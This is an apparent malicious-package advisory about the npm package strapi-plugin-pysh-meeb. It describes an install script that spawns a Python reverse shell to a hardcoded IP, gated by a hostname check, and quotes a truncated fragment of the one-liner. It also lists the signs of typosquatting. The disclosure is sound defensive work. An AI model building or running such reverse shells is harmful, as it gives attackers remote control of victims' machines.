Malicious code in strapi-plugin-pysh-meeb (npm)

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

--- _-= Per source details.

The script uses child_process to spawn a Python one-liner (`python3 -c 'import sys,socket,os,pty;...pty.spawn("sh")'`) which opens an outbound TCP connection to the hardcoded attacker IP 14.225.210.85:80 and hands an interactive PTY shell to the remote endpoint, giving full remote code execution on the installer's host. Detonation is gated by an os.hostname() equality check against 'ubuntu-fc-uvm', a targeting/evasion mechanism that suppresses the payload on other hosts while firing on the intended victim; retry logic is present to re-establish the connection. Package metadata is consistent with a typosquat dropper: the name mimics a Strapi plugin, the repository URL uses a placeholder 'user' org and a mismatched slug (strapi-plugin-yayccresh-meeb), and the description is a generic 'Strapi plugin for enhanced functionality'. No legitimate plugin functionality is shipped.
